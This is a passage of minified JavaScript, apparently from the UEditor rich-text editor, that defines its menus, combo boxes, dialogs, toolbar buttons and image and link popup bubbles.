- function(){clearTimeout(a._closingTimer);a._closingTimer=null;a.addState("opened")}),this.ownerMenu.addListener("hide",function(){a.hideSubMenu()}),this.ownerMenu.addListener("submenuover",function(b,c){c!==a&&a.delayHideSubMenu()}),this.subMenu._bakQueryAutoHide=this.subMenu.queryAutoHide,this.subMenu.queryAutoHide=function(b){return b&&d.contains(a.getDom(),b)?!1:this._bakQueryAutoHide(b)});this.getDom().style.tabIndex="-1";d.makeUnselectable(this.getDom());this.Stateful_postRender()},delayShowSubMenu:function(){var a=
- this;a.isDisabled()||(a.addState("opened"),clearTimeout(a._showingTimer),clearTimeout(a._closingTimer),a._closingTimer=null,a._showingTimer=setTimeout(function(){a.showSubMenu()},250))},delayHideSubMenu:function(){var a=this;a.isDisabled()||(a.removeState("opened"),clearTimeout(a._showingTimer),a._closingTimer||(a._closingTimer=setTimeout(function(){a.hasState("opened")||a.hideSubMenu();a._closingTimer=null},400)))},renderLabelHtml:function(){return'<div class="edui-arrow"></div><div class="edui-box edui-icon"></div><div class="edui-box edui-label %%-label">'+
- (this.label||"")+"</div>"},getStateDom:function(){return this.getDom()},queryAutoHide:function(a){if(this.subMenu&&this.hasState("opened"))return this.subMenu.queryAutoHide(a)},_onClick:function(a,c){this.hasState("disabled")||!1!==this.fireEvent("click",a,c)&&(this.subMenu?this.showSubMenu():b.postHide(a))},showSubMenu:function(){var a=d.getClientRect(this.getDom());a.right-=5;a.left+=2;a.width-=7;a.top-=4;a.bottom+=4;a.height+=8;this.subMenu.showAnchorRect(a,!0,!0)},hideSubMenu:function(){this.subMenu.hide()}};
- e.inherits(n,c);e.extend(n.prototype,h,!0)})();(function(){var e=q.editor.utils,a=q.editor.ui.uiUtils,d=q.editor.ui.Menu,c=q.editor.ui.SplitButton,b=q.editor.ui.Combox=function(a){this.initOptions(a);this.initCombox()};b.prototype={uiName:"combox",initCombox:function(){var a=this;this.items=this.items||[];for(var b=0;b<this.items.length;b++){var c=this.items[b];c.uiName="listitem";c.index=b;c.onclick=function(){a.selectByIndex(this.index)}}this.popup=new d({items:this.items,uiName:"list",editor:this.editor,
- captureWheel:!0,combox:this});this.initSplitButton()},_SplitButton_postRender:c.prototype.postRender,postRender:function(){this._SplitButton_postRender();this.setLabel(this.label||"");this.setValue(this.initValue||"")},showPopup:function(){var b=a.getClientRect(this.getDom());b.top+=1;b.bottom-=1;b.height-=2;this.popup.showAnchorRect(b)},getValue:function(){return this.value},setValue:function(a){var b=this.indexByValue(a);-1!=b?(this.selectedIndex=b,this.setLabel(this.items[b].label),this.value=
- this.items[b].value):(this.selectedIndex=-1,this.setLabel(this.getLabelForUnknowValue(a)),this.value=a)},setLabel:function(a){this.label=this.getDom("button_body").innerHTML=a},getLabelForUnknowValue:function(a){return a},indexByValue:function(a){for(var b=0;b<this.items.length;b++)if(a==this.items[b].value)return b;return-1},getItem:function(a){return this.items[a]},selectByIndex:function(a){a<this.items.length&&!1!==this.fireEvent("select",a)&&(this.selectedIndex=a,this.value=this.items[a].value,
- this.setLabel(this.items[a].label))}};e.inherits(b,c)})();(function(){var e=q.editor.utils,a=q.editor.dom.domUtils,d=q.editor.ui.uiUtils,c=q.editor.ui.Mask,b=q.editor.ui.UIBase,h=q.editor.ui.Button,g=q.editor.ui.Dialog=function(a){this.initOptions(e.extend({autoReset:!0,draggable:!0,onok:function(){},oncancel:function(){},onclose:function(a,b){return b?this.onok():this.oncancel()},holdScroll:!1},a));this.initDialog()},k,l;g.prototype={draggable:!1,uiName:"dialog",initDialog:function(){var a=this,
- b=this.editor.options.theme;this.initUIBase();this.modalMask=k||(k=new c({className:"edui-dialog-modalmask",theme:b}));this.dragMask=l||(l=new c({className:"edui-dialog-dragmask",theme:b}));this.closeButton=new h({className:"edui-dialog-closebutton",title:a.closeDialog,theme:b,onclick:function(){a.close(!1)}});if(this.buttons)for(b=0;b<this.buttons.length;b++)this.buttons[b]instanceof h||(this.buttons[b]=new h(this.buttons[b]))},fitSize:function(){var a=this.getDom("body"),b=this.mesureSize();a.style.width=
- b.width+"px";a.style.height=b.height+"px";return b},safeSetOffset:function(a){var b=this.getDom(),c=d.getViewportRect(),e=d.getClientRect(b),f=a.left;f+e.width>c.right&&(f=c.right-e.width);a=a.top;a+e.height>c.bottom&&(a=c.bottom-e.height);b.style.left=Math.max(f,0)+"px";b.style.top=Math.max(a,0)+"px"},showAtCenter:function(){this.getDom().style.display="";var b=d.getViewportRect(),c=this.fitSize(),e=this.getDom("titlebar").offsetHeight|0,f=b.width/2-c.width/2,b=b.height/2-(c.height-e)/2-e,c=this.getDom();
- this.safeSetOffset({left:Math.max(f|0,0),top:Math.max(b|0,0)});a.hasClass(c,"edui-state-centered")||(c.className+=" edui-state-centered");this._show()},getContentHtml:function(){var a="";"string"==typeof this.content?a=this.content:this.iframeUrl&&(a='<span id="'+this.id+'_contmask" class="dialogcontmask"></span><iframe id="'+this.id+'_iframe" class="%%-iframe" height="100%" width="100%" frameborder="0" src="'+this.iframeUrl+'"></iframe>');return a},getHtmlTpl:function(){var a="";if(this.buttons){for(var a=
- [],b=0;b<this.buttons.length;b++)a[b]=this.buttons[b].renderHtml();a='<div class="%%-foot"><div id="##_buttons" class="%%-buttons">'+a.join("")+"</div></div>"}return'<div id="##" class="%%"><div class="%%-wrap"><div id="##_body" class="%%-body"><div class="%%-shadow"></div><div id="##_titlebar" class="%%-titlebar"><div class="%%-draghandle" onmousedown="$$._onTitlebarMouseDown(event, this);"><span class="%%-caption">'+(this.title||"")+"</span></div>"+this.closeButton.renderHtml()+'</div><div id="##_content" class="%%-content">'+
- (this.autoReset?"":this.getContentHtml())+"</div>"+a+"</div></div></div>"},postRender:function(){this.modalMask.getDom()||(this.modalMask.render(),this.modalMask.hide());this.dragMask.getDom()||(this.dragMask.render(),this.dragMask.hide());var b=this;this.addListener("show",function(){b.modalMask.show(this.getDom().style.zIndex-2)});this.addListener("hide",function(){b.modalMask.hide()});if(this.buttons)for(var c=0;c<this.buttons.length;c++)this.buttons[c].postRender();a.on(window,"resize",function(){setTimeout(function(){b.isHidden()||
- b.safeSetOffset(d.getClientRect(b.getDom()))})});if(this.holdScroll)if(b.iframeUrl)b.addListener("dialogafterreset",function(){window.setTimeout(function(){var c=document.getElementById(b.id+"_iframe").contentWindow;if(r.ie)var d=window.setInterval(function(){c.document&&c.document.body&&(window.clearInterval(d),d=null,a.on(c.document.body,r.gecko?"DOMMouseScroll":"mousewheel",function(b){a.preventDefault(b)}))},100);else a.on(c,r.gecko?"DOMMouseScroll":"mousewheel",function(b){a.preventDefault(b)})},
- 1)});else a.on(document.getElementById(b.id+"_iframe"),r.gecko?"DOMMouseScroll":"mousewheel",function(b){a.preventDefault(b)});this._hide()},mesureSize:function(){var a=this.getDom("body"),b=d.getClientRect(this.getDom("content")).width;a.style.width=b;return d.getClientRect(a)},_onTitlebarMouseDown:function(b,c){if(this.draggable){var e;d.getViewportRect();var f=this;d.startDrag(b,{ondragstart:function(){e=d.getClientRect(f.getDom());f.getDom("contmask").style.visibility="visible";f.dragMask.show(f.getDom().style.zIndex-
- 1)},ondragmove:function(a,b){f.safeSetOffset({left:e.left+a,top:e.top+b})},ondragstop:function(){f.getDom("contmask").style.visibility="hidden";a.removeClasses(f.getDom(),["edui-state-centered"]);f.dragMask.hide()}})}},reset:function(){this.getDom("content").innerHTML=this.getContentHtml();this.fireEvent("dialogafterreset")},_show:function(){this._hidden&&(this.getDom().style.display="",this.editor.container.style.zIndex&&(this.getDom().style.zIndex=1*this.editor.container.style.zIndex+10),this._hidden=
- !1,this.fireEvent("show"),q.editor.ui.uiUtils.getFixedLayer().style.zIndex=this.getDom().style.zIndex-4)},isHidden:function(){return this._hidden},_hide:function(){this._hidden||(this.getDom().style.display="none",this.getDom().style.zIndex="",this._hidden=!0,this.fireEvent("hide"))},open:function(){if(this.autoReset)try{this.reset()}catch(a){this.render(),this.open()}this.showAtCenter();if(this.iframeUrl)try{this.getDom("iframe").focus()}catch(b){}},_onCloseButtonClick:function(a,b){this.close(!1)},
- close:function(a){!1!==this.fireEvent("close",a)&&this._hide()}};e.inherits(g,b)})();(function(){var e=q.editor.utils,a=q.editor.ui.Menu,d=q.editor.ui.SplitButton,c=q.editor.ui.MenuButton=function(a){this.initOptions(a);this.initMenuButton()};c.prototype={initMenuButton:function(){var b=this;this.uiName="menubutton";this.popup=new a({items:b.items,className:b.className,editor:b.editor});this.popup.addListener("show",function(){for(var a=0;a<this.items.length;a++)this.items[a].removeState("checked"),
- this.items[a].value==b._value&&(this.items[a].addState("checked"),this.value=b._value)});this.initSplitButton()},setValue:function(a){this._value=a}};e.inherits(c,d)})();(function(){var e=q.editor.utils,a=q.editor.ui,d=a.Dialog;a.buttons={};a.Dialog=function(a){var b=new d(a);b.addListener("hide",function(){if(b.editor){var a=b.editor;try{if(r.gecko){var c=a.window.scrollY,d=a.window.scrollX;a.body.focus();a.window.scrollTo(d,c)}else a.focus()}catch(e){}}});return b};for(var c={anchor:"~/dialogs/anchor/anchor.html",
- insertimage:"~/dialogs/image/image.html",link:"~/dialogs/link/link.html",spechars:"~/dialogs/spechars/spechars.html",searchreplace:"~/dialogs/searchreplace/searchreplace.html",map:"~/dialogs/map/map.html",gmap:"~/dialogs/gmap/gmap.html",insertvideo:"~/dialogs/video/video.html",help:"~/dialogs/help/help.html",emotion:"~/dialogs/emotion/emotion.html",wordimage:"~/dialogs/wordimage/wordimage.html",attachment:"~/dialogs/attachment/attachment.html",insertframe:"~/dialogs/insertframe/insertframe.html",
- edittip:"~/dialogs/table/edittip.html",edittable:"~/dialogs/table/edittable.html",edittd:"~/dialogs/table/edittd.html",webapp:"~/dialogs/webapp/webapp.html",snapscreen:"~/dialogs/snapscreen/snapscreen.html",scrawl:"~/dialogs/scrawl/scrawl.html",music:"~/dialogs/music/music.html",template:"~/dialogs/template/template.html",background:"~/dialogs/background/background.html"},b="undo redo formatmatch bold italic underline fontborder touppercase tolowercase strikethrough subscript superscript source indent outdent blockquote pasteplain pagebreak selectall print preview horizontal removeformat time date unlink insertparagraphbeforetable insertrow insertcol mergeright mergedown deleterow deletecol splittorows splittocols splittocells mergecells deletetable".split(" "),
- h=0,g;g=b[h++];)g=g.toLowerCase(),a[g]=function(b){return function(c){var d=new a.Button({className:"edui-for-"+b,title:c.options.labelMap[b]||c.getLang("labelMap."+b)||"",onclick:function(){c.execCommand(b)},theme:c.options.theme,showText:!1});a.buttons[b]=d;c.addListener("selectionchange",function(a,e,f){a=c.queryCommandState(b);-1==a?(d.setDisabled(!0),d.setChecked(!1)):f||(d.setDisabled(!1),d.setChecked(a))});return d}}(g);a.cleardoc=function(b){var c=new a.Button({className:"edui-for-cleardoc",
- title:b.options.labelMap.cleardoc||b.getLang("labelMap.cleardoc")||"",theme:b.options.theme,onclick:function(){confirm(b.getLang("confirmClear"))&&b.execCommand("cleardoc")}});a.buttons.cleardoc=c;b.addListener("selectionchange",function(){c.setDisabled(-1==b.queryCommandState("cleardoc"))});return c};var b={justify:["left","right","center","justify"],imagefloat:["none","left","center","right"],directionality:["ltr","rtl"]},k;for(k in b)(function(b,c){for(var d=0,e;e=c[d++];)(function(c){a[b.replace("float",
- "")+c]=function(d){var e=new a.Button({className:"edui-for-"+b.replace("float","")+c,title:d.options.labelMap[b.replace("float","")+c]||d.getLang("labelMap."+b.replace("float","")+c)||"",theme:d.options.theme,onclick:function(){d.execCommand(b,c)}});a.buttons[b]=e;d.addListener("selectionchange",function(a,f,g){e.setDisabled(-1==d.queryCommandState(b));e.setChecked(d.queryCommandValue(b)==c&&!g)});return e}})(e)})(k,b[k]);for(h=0;g=["backcolor","forecolor"][h++];)a[g]=function(b){return function(c){var d=
- new a.ColorButton({className:"edui-for-"+b,color:"default",title:c.options.labelMap[b]||c.getLang("labelMap."+b)||"",editor:c,onpickcolor:function(a,d){c.execCommand(b,d)},onpicknocolor:function(){c.execCommand(b,"default");this.setColor("transparent");this.color="default"},onbuttonclick:function(){c.execCommand(b,this.color)}});a.buttons[b]=d;c.addListener("selectionchange",function(){d.setDisabled(-1==c.queryCommandState(b))});return d}}(g);b={noOk:["searchreplace","help","spechars","webapp"],ok:"attachment anchor link insertimage map gmap insertframe wordimage insertvideo insertframe edittip edittable edittd scrawl template music background".split(" ")};
- for(k in b)(function(b,d){for(var g=0,h;h=d[g++];)r.opera&&"searchreplace"===h||function(d){a[d]=function(g,h,k){h=h||(g.options.iframeUrlMap||{})[d]||c[d];k=g.options.labelMap[d]||g.getLang("labelMap."+d)||"";var m;h&&(m=new a.Dialog(e.extend({iframeUrl:g.ui.mapUrl(h),editor:g,className:"edui-for-"+d,title:k,holdScroll:"insertimage"===d,closeDialog:g.getLang("closeDialog")},"ok"==b?{buttons:[{className:"edui-okbutton",label:g.getLang("ok"),editor:g,onclick:function(){m.close(!0)}},{className:"edui-cancelbutton",
- label:g.getLang("cancel"),editor:g,onclick:function(){m.close(!1)}}]}:{})),g.ui._dialogs[d+"Dialog"]=m);var n=new a.Button({className:"edui-for-"+d,title:k,onclick:function(){if(m)switch(d){case "wordimage":g.execCommand("wordimage","word_img");g.word_img&&(m.render(),m.open());break;case "scrawl":-1!=g.queryCommandState("scrawl")&&(m.render(),m.open());break;default:m.render(),m.open()}},theme:g.options.theme,disabled:"scrawl"==d&&-1==g.queryCommandState("scrawl")});a.buttons[d]=n;g.addListener("selectionchange",
- function(){if(!(d in{edittable:1})){var a=g.queryCommandState(d);n.getDom()&&(n.setDisabled(-1==a),n.setChecked(a))}});return n}}(h.toLowerCase())})(k,b[k]);a.snapscreen=function(b,d,e){e=b.options.labelMap.snapscreen||b.getLang("labelMap.snapscreen")||"";var f=new a.Button({className:"edui-for-snapscreen",title:e,onclick:function(){b.execCommand("snapscreen")},theme:b.options.theme});a.buttons.snapscreen=f;if(d=d||(b.options.iframeUrlMap||{}).snapscreen||c.snapscreen){var g=new a.Dialog({iframeUrl:b.ui.mapUrl(d),
- editor:b,className:"edui-for-snapscreen",title:e,buttons:[{className:"edui-okbutton",label:b.getLang("ok"),editor:b,onclick:function(){g.close(!0)}},{className:"edui-cancelbutton",label:b.getLang("cancel"),editor:b,onclick:function(){g.close(!1)}}]});g.render();b.ui._dialogs.snapscreenDialog=g}b.addListener("selectionchange",function(){f.setDisabled(-1==b.queryCommandState("snapscreen"))});return f};a.insertcode=function(b,c,d){c=b.options.insertcode||[];d=b.options.labelMap.insertcode||b.getLang("labelMap.insertcode")||
- "";var g=[];e.each(c,function(a,c){g.push({label:a,value:c,theme:b.options.theme,renderLabelHtml:function(){return'<div class="edui-label %%-label" >'+(this.label||"")+"</div>"}})});var h=new a.Combox({editor:b,items:g,onselect:function(a,c){b.execCommand("insertcode",this.items[c].value)},onbuttonclick:function(){this.showPopup()},title:d,initValue:d,className:"edui-for-insertcode",indexByValue:function(a){if(a)for(var b=0,c;c=this.items[b];b++)if(-1!=c.value.indexOf(a))return b;return-1}});a.buttons.insertcode=
- h;b.addListener("selectionchange",function(a,c,e){e||(-1==b.queryCommandState("insertcode")?h.setDisabled(!0):(h.setDisabled(!1),(a=b.queryCommandValue("insertcode"))?(a&&(a=a.replace(/['"]/g,"").split(",")[0]),h.setValue(a)):h.setValue(d)))});return h};a.fontfamily=function(b,c,d){c=b.options.fontfamily||[];d=b.options.labelMap.fontfamily||b.getLang("labelMap.fontfamily")||"";if(c.length){for(var g=0,h,k=[];h=c[g];g++){var p=b.getLang("fontfamily")[h.name]||"";(function(a,c){k.push({label:a,value:c,
- theme:b.options.theme,renderLabelHtml:function(){return'<div class="edui-label %%-label" style="font-family:'+e.unhtml(this.value)+'">'+(this.label||"")+"</div>"}})})(h.label||p,h.val)}var q=new a.Combox({editor:b,items:k,onselect:function(a,c){b.execCommand("FontFamily",this.items[c].value)},onbuttonclick:function(){this.showPopup()},title:d,initValue:d,className:"edui-for-fontfamily",indexByValue:function(a){if(a)for(var b=0,c;c=this.items[b];b++)if(-1!=c.value.indexOf(a))return b;return-1}});a.buttons.fontfamily=
- q;b.addListener("selectionchange",function(a,c,d){d||(-1==b.queryCommandState("FontFamily")?q.setDisabled(!0):(q.setDisabled(!1),(a=b.queryCommandValue("FontFamily"))&&(a=a.replace(/['"]/g,"").split(",")[0]),q.setValue(a)))});return q}};a.fontsize=function(b,c,d){d=b.options.labelMap.fontsize||b.getLang("labelMap.fontsize")||"";c=c||b.options.fontsize||[];if(c.length){for(var e=[],f=0;f<c.length;f++){var g=c[f]+"px";e.push({label:g,value:g,theme:b.options.theme,renderLabelHtml:function(){return'<div class="edui-label %%-label" style="line-height:1;font-size:'+
- this.value+'">'+(this.label||"")+"</div>"}})}var h=new a.Combox({editor:b,items:e,title:d,initValue:d,onselect:function(a,c){b.execCommand("FontSize",this.items[c].value)},onbuttonclick:function(){this.showPopup()},className:"edui-for-fontsize"});a.buttons.fontsize=h;b.addListener("selectionchange",function(a,c,d){d||(-1==b.queryCommandState("FontSize")?h.setDisabled(!0):(h.setDisabled(!1),h.setValue(b.queryCommandValue("FontSize"))))});return h}};a.paragraph=function(b,c,d){d=b.options.labelMap.paragraph||
- b.getLang("labelMap.paragraph")||"";c=b.options.paragraph||[];if(!e.isEmptyObject(c)){var g=[],h;for(h in c)g.push({value:h,label:c[h]||b.getLang("paragraph")[h],theme:b.options.theme,renderLabelHtml:function(){return'<div class="edui-label %%-label"><span class="edui-for-'+this.value+'">'+(this.label||"")+"</span></div>"}});var k=new a.Combox({editor:b,items:g,title:d,initValue:d,className:"edui-for-paragraph",onselect:function(a,c){b.execCommand("Paragraph",this.items[c].value)},onbuttonclick:function(){this.showPopup()}});
- a.buttons.paragraph=k;b.addListener("selectionchange",function(a,c,d){d||(-1==b.queryCommandState("Paragraph")?k.setDisabled(!0):(k.setDisabled(!1),a=b.queryCommandValue("Paragraph"),-1!=k.indexByValue(a)?k.setValue(a):k.setValue(k.initValue)))});return k}};a.customstyle=function(b){var c=b.options.customstyle||[],d=b.options.labelMap.customstyle||b.getLang("labelMap.customstyle")||"";if(c.length){for(var e=b.getLang("customstyle"),f=0,g=[],h;h=c[f++];)(function(a){var c={};c.label=a.label?a.label:
- e[a.name];c.style=a.style;c.className=a.className;c.tag=a.tag;g.push({label:c.label,value:c,theme:b.options.theme,renderLabelHtml:function(){return'<div class="edui-label %%-label"><'+c.tag+" "+(c.className?' class="'+c.className+'"':"")+(c.style?' style="'+c.style+'"':"")+">"+c.label+"</"+c.tag+"></div>"}})})(h);var k=new a.Combox({editor:b,items:g,title:d,initValue:d,className:"edui-for-customstyle",onselect:function(a,c){b.execCommand("customstyle",this.items[c].value)},onbuttonclick:function(){this.showPopup()},
- indexByValue:function(a){for(var b=0,c;c=this.items[b++];)if(c.label==a)return b-1;return-1}});a.buttons.customstyle=k;b.addListener("selectionchange",function(a,c,d){d||(-1==b.queryCommandState("customstyle")?k.setDisabled(!0):(k.setDisabled(!1),a=b.queryCommandValue("customstyle"),-1!=k.indexByValue(a)?k.setValue(a):k.setValue(k.initValue)))});return k}};a.inserttable=function(b,c,d){d=b.options.labelMap.inserttable||b.getLang("labelMap.inserttable")||"";var e=new a.TableButton({editor:b,title:d,
- className:"edui-for-inserttable",onpicktable:function(a,c,d){b.execCommand("InsertTable",{numRows:d,numCols:c,border:1})},onbuttonclick:function(){this.showPopup()}});a.buttons.inserttable=e;b.addListener("selectionchange",function(){e.setDisabled(-1==b.queryCommandState("inserttable"))});return e};a.lineheight=function(b){var c=b.options.lineheight||[];if(c.length){for(var d=0,e,f=[];e=c[d++];)f.push({label:e,value:e,theme:b.options.theme,onclick:function(){b.execCommand("lineheight",this.value)}});
- var g=new a.MenuButton({editor:b,className:"edui-for-lineheight",title:b.options.labelMap.lineheight||b.getLang("labelMap.lineheight")||"",items:f,onbuttonclick:function(){var a=b.queryCommandValue("LineHeight")||this.value;b.execCommand("LineHeight",a)}});a.buttons.lineheight=g;b.addListener("selectionchange",function(){var a=b.queryCommandState("LineHeight");if(-1==a)g.setDisabled(!0);else{g.setDisabled(!1);var c=b.queryCommandValue("LineHeight");c&&g.setValue((c+"").replace(/cm/,""));g.setChecked(a)}});
- return g}};k=["top","bottom"];for(b=0;h=k[b++];)(function(b){a["rowspacing"+b]=function(c){var d=c.options["rowspacing"+b]||[];if(!d.length)return null;for(var e=0,f,g=[];f=d[e++];)g.push({label:f,value:f,theme:c.options.theme,onclick:function(){c.execCommand("rowspacing",this.value,b)}});var h=new a.MenuButton({editor:c,className:"edui-for-rowspacing"+b,title:c.options.labelMap["rowspacing"+b]||c.getLang("labelMap.rowspacing"+b)||"",items:g,onbuttonclick:function(){var a=c.queryCommandValue("rowspacing",
- b)||this.value;c.execCommand("rowspacing",a,b)}});a.buttons[b]=h;c.addListener("selectionchange",function(){var a=c.queryCommandState("rowspacing",b);if(-1==a)h.setDisabled(!0);else{h.setDisabled(!1);var d=c.queryCommandValue("rowspacing",b);d&&h.setValue((d+"").replace(/%/,""));h.setChecked(a)}});return h}})(h);k=["insertorderedlist","insertunorderedlist"];for(b=0;h=k[b++];)(function(b){a[b]=function(c){var d=c.options[b],e=function(){c.execCommand(b,this.value)},f=[],g;for(g in d)f.push({label:d[g]||
- c.getLang()[b][g]||"",value:g,theme:c.options.theme,onclick:e});var h=new a.MenuButton({editor:c,className:"edui-for-"+b,title:c.getLang("labelMap."+b)||"",items:f,onbuttonclick:function(){var a=c.queryCommandValue(b)||this.value;c.execCommand(b,a)}});a.buttons[b]=h;c.addListener("selectionchange",function(){var a=c.queryCommandState(b);if(-1==a)h.setDisabled(!0);else{h.setDisabled(!1);var d=c.queryCommandValue(b);h.setValue(d);h.setChecked(a)}});return h}})(h);a.fullscreen=function(b,c){c=b.options.labelMap.fullscreen||
- b.getLang("labelMap.fullscreen")||"";var d=new a.Button({className:"edui-for-fullscreen",title:c,theme:b.options.theme,onclick:function(){b.ui&&b.ui.setFullScreen(!b.ui.isFullScreen());this.setChecked(b.ui.isFullScreen())}});a.buttons.fullscreen=d;b.addListener("selectionchange",function(){var a=b.queryCommandState("fullscreen");d.setDisabled(-1==a);d.setChecked(b.ui.isFullScreen())});return d};a.emotion=function(b,d){var e=new a.MultiMenuPop({title:b.options.labelMap.emotion||b.getLang("labelMap.emotion")||
- "",editor:b,className:"edui-for-emotion",iframeUrl:b.ui.mapUrl(d||(b.options.iframeUrlMap||{}).emotion||c.emotion)});a.buttons.emotion=e;b.addListener("selectionchange",function(){e.setDisabled(-1==b.queryCommandState("emotion"))});return e};a.autotypeset=function(b){var c=new a.AutoTypeSetButton({editor:b,title:b.options.labelMap.autotypeset||b.getLang("labelMap.autotypeset")||"",className:"edui-for-autotypeset",onbuttonclick:function(){b.execCommand("autotypeset")}});a.buttons.autotypeset=c;b.addListener("selectionchange",
- function(){c.setDisabled(-1==b.queryCommandState("autotypeset"))});return c}})();(function(){function e(a){this.initOptions(a);this.initEditorUI()}var a=q.editor.utils,d=q.editor.ui.uiUtils,c=q.editor.ui.UIBase,b=q.editor.dom.domUtils,h=[];e.prototype={uiName:"editor",initEditorUI:function(){function a(b,c){b.setOpt({wordCount:!0,maximumWords:1E4,wordCountMsg:b.options.wordCountMsg||b.getLang("wordCountMsg"),wordOverFlowMsg:b.options.wordOverFlowMsg||b.getLang("wordOverFlowMsg")});var d=b.options,
- e=d.maximumWords,f=d.wordCountMsg,g=d.wordOverFlowMsg,h=c.getDom("wordcount");d.wordCount&&(d=b.getContentLength(!0),d>e?(h.innerHTML=g,b.fireEvent("wordcountoverflow")):h.innerHTML=f.replace("{#leave}",e-d).replace("{#count}",d))}this.editor.ui=this;this._dialogs={};this.initUIBase();this._initToolbars();var c=this.editor,d=this;c.addListener("ready",function(){c.getDialog=function(a){return c.ui._dialogs[a+"Dialog"]};b.on(c.window,"scroll",function(a){q.editor.ui.Popup.postHide(a)});c.ui._actualFrameWidth=
- c.options.initialFrameWidth;c.options.elementPathEnabled&&(c.ui.getDom("elementpath").innerHTML='<div class="edui-editor-breadcrumb">'+c.getLang("elementPathTip")+":</div>");c.options.wordCount&&(b.on(c.document,"click",function(){a(c,d);b.un(c.document,"click",arguments.callee)}),c.ui.getDom("wordcount").innerHTML=c.getLang("wordCountTip"));c.ui._scale();c.options.scaleEnabled?(c.autoHeightEnabled&&c.disableAutoHeight(),d.enableScale()):d.disableScale();c.options.elementPathEnabled||(c.options.wordCount||
- c.options.scaleEnabled)||(c.ui.getDom("elementpath").style.display="none",c.ui.getDom("wordcount").style.display="none",c.ui.getDom("scale").style.display="none");c.selection.isFocus()&&c.fireEvent("selectionchange",!1,!0)});c.addListener("mousedown",function(a,b){q.editor.ui.Popup.postHide(b,b.target||b.srcElement);q.editor.ui.ShortCutMenu.postHide(b)});c.addListener("delcells",function(){UE.ui.edittip&&new UE.ui.edittip(c);c.getDialog("edittip").open()});var e,f=!1,g;c.addListener("afterpaste",
- function(){c.queryCommandState("pasteplain")||(q.editor.ui.PastePicker&&(e=new q.editor.ui.Popup({content:new q.editor.ui.PastePicker({editor:c}),editor:c,className:"edui-wordpastepop"}),e.render()),f=!0)});c.addListener("afterinserthtml",function(){clearTimeout(g);g=setTimeout(function(){if(e&&(f||c.ui._isTransfer)){if(e.isHidden()){var a=b.createElement(c.document,"span",{style:"line-height:0px;",innerHTML:"\ufeff"});c.selection.getRange().insertNode(a);var d=X(a,"firstChild","previousSibling");
- e.showAnchor(3==d.nodeType?d.parentNode:d);b.remove(a)}else e.show();delete c.ui._isTransfer;f=!1}},200)});c.addListener("contextmenu",function(a,b){q.editor.ui.Popup.postHide(b)});c.addListener("keydown",function(a,b){e&&e.dispose(b);var c=b.keyCode||b.which;if(b.altKey&&90==c)UE.ui.buttons.fullscreen.onclick()});c.addListener("wordcount",function(b){a(this,d)});c.addListener("selectionchange",function(){if(c.options.elementPathEnabled)d[(-1==c.queryCommandState("elementpath")?"dis":"en")+"ableElementPath"]();
- if(c.options.scaleEnabled)d[(-1==c.queryCommandState("scale")?"dis":"en")+"ableScale"]()});var h=new q.editor.ui.Popup({editor:c,content:"",className:"edui-bubble",_onEditButtonClick:function(){this.hide();c.ui._dialogs.linkDialog.open()},_onImgEditButtonClick:function(a){this.hide();c.ui._dialogs[a]&&c.ui._dialogs[a].open()},_onImgSetFloat:function(a){this.hide();c.execCommand("imagefloat",a)},_setIframeAlign:function(a){var c=h.anchorEl,d=c.cloneNode(!0);switch(a){case -2:d.setAttribute("align",
- "");break;case -1:d.setAttribute("align","left");break;case 1:d.setAttribute("align","right")}c.parentNode.insertBefore(d,c);b.remove(c);h.anchorEl=d;h.showAnchor(h.anchorEl)},_updateIframe:function(){c._iframe=h.anchorEl;c.ui._dialogs.insertframeDialog.open();h.hide()},_onRemoveButtonClick:function(a){c.execCommand(a);this.hide()},queryAutoHide:function(a){return a&&a.ownerDocument==c.document&&("img"==a.tagName.toLowerCase()||b.findParentByTagName(a,"a",!0))?a!==h.anchorEl:q.editor.ui.Popup.prototype.queryAutoHide.call(this,
- a)}});h.render();c.options.imagePopup&&(c.addListener("mouseover",function(a,b){b=b||window.event;var d=b.target||b.srcElement;if(c.ui._dialogs.insertframeDialog&&/iframe/ig.test(d.tagName)){var e=h.formatHtml("<nobr>"+c.getLang("property")+': <span onclick=$$._setIframeAlign(-2) class="edui-clickable">'+c.getLang("default")+'</span> <span onclick=$$._setIframeAlign(-1) class="edui-clickable">'+c.getLang("justifyleft")+'</span> <span onclick=$$._setIframeAlign(1) class="edui-clickable">'+
- c.getLang("justifyright")+'</span> <span onclick="$$._updateIframe( this);" class="edui-clickable">'+c.getLang("modify")+"</span></nobr>");e?(h.getDom("content").innerHTML=e,h.anchorEl=d,h.showAnchor(h.anchorEl)):h.hide()}}),c.addListener("selectionchange",function(a,b){if(b){var d="",e="",f=c.selection.getRange().getClosedNode(),e=c.ui._dialogs;if(f&&"IMG"==f.tagName){var g="insertimageDialog";-1!=f.className.indexOf("edui-faked-video")&&(g="insertvideoDialog");-1!=f.className.indexOf("edui-faked-webapp")&&
- (g="webappDialog");-1!=f.src.indexOf("http://api.map.baidu.com")&&(g="mapDialog");-1!=f.className.indexOf("edui-faked-music")&&(g="musicDialog");-1!=f.src.indexOf("http://maps.google.com/maps/api/staticmap")&&(g="gmapDialog");f.getAttribute("anchorname")&&(g="anchorDialog",d=h.formatHtml("<nobr>"+c.getLang("property")+': <span onclick=$$._onImgEditButtonClick("anchorDialog") class="edui-clickable">'+c.getLang("modify")+"</span> <span onclick=$$._onRemoveButtonClick('anchor') class=\"edui-clickable\">"+
- c.getLang("delete")+"</span></nobr>"));f.getAttribute("word_img")&&(c.word_img=[f.getAttribute("word_img")],g="wordimageDialog");if(!e[g])return;e="<nobr>"+c.getLang("property")+': <span onclick=$$._onImgSetFloat("none") class="edui-clickable">'+c.getLang("default")+'</span> <span onclick=$$._onImgSetFloat("left") class="edui-clickable">'+c.getLang("justifyleft")+'</span> <span onclick=$$._onImgSetFloat("right") class="edui-clickable">'+c.getLang("justifyright")+'</span> <span onclick=$$._onImgSetFloat("center") class="edui-clickable">'+
- c.getLang("justifycenter")+"</span> <span onclick=\"$$._onImgEditButtonClick('"+g+'\');" class="edui-clickable">'+c.getLang("modify")+"</span></nobr>";!d&&(d=h.formatHtml(e))}if(c.ui._dialogs.linkDialog){var k=c.queryCommandValue("link"),m;k&&(m=k.getAttribute("_href")||k.getAttribute("href",2))&&(e=m,30<m.length&&(e=m.substring(0,20)+"..."),d&&(d+='<div style="height:5px;"></div>'),d+=h.formatHtml("<nobr>"+c.getLang("anthorMsg")+': <a target="_blank" href="'+m+'" title="'+m+'" >'+e+'</a> <span class="edui-clickable" onclick="$$._onEditButtonClick();">'+
